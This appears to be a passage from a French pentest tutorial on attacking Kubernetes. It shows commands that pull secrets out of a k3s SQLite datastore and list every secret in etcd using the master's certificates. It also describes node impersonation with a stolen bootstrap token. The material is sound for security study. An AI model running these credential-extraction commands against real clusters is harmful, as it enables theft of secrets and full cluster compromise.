$ sqlite3 /var/lib/rancher/k3s/server/db/state.db \
"SELECT value FROM kine WHERE name='/registry/secrets/kube-system/cilium-ca' ORDER BY id DESC LIMIT 1;" | strings
Pour kubeadm, l'accès se fait via etcdctl avec les certificats locaux du master :
# kubeadm : accès via les certs locaux
$ ETCDCTL_API=3 etcdctl --endpoints=https://127.0.0.1:2379 \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
get /registry/secrets --prefix --keys-only
Un dernier vecteur existe : se faire passer pour un nœud. Quand un nœud rejoint le cluster, il utilise un bootstrap token pour obtenir un certificat. Si un attaquant récupère ce token (stocké sur le nœud, ou accessible via un service cloud comme le WireServer d'Azure), il peut s'enregistrer comme nœud légitime et lire les secrets de tous les pods schedulés dessus. Synacktiv a démontré cette attaque sur AKS pour compromettre un cluster entier.
À ce stade, on dispose de credentials (kubeconfig admin, SA tokens à droits élevés, accès etcd direct, ou identité de nœud) permettant d'interagir avec l'API Kubernetes avec des privilèges. L'article suivant couvre l'exploitation de ces accès API : lecture de secrets, mouvement latéral entre namespaces, persistance, et prise de contrôle complète du cluster.





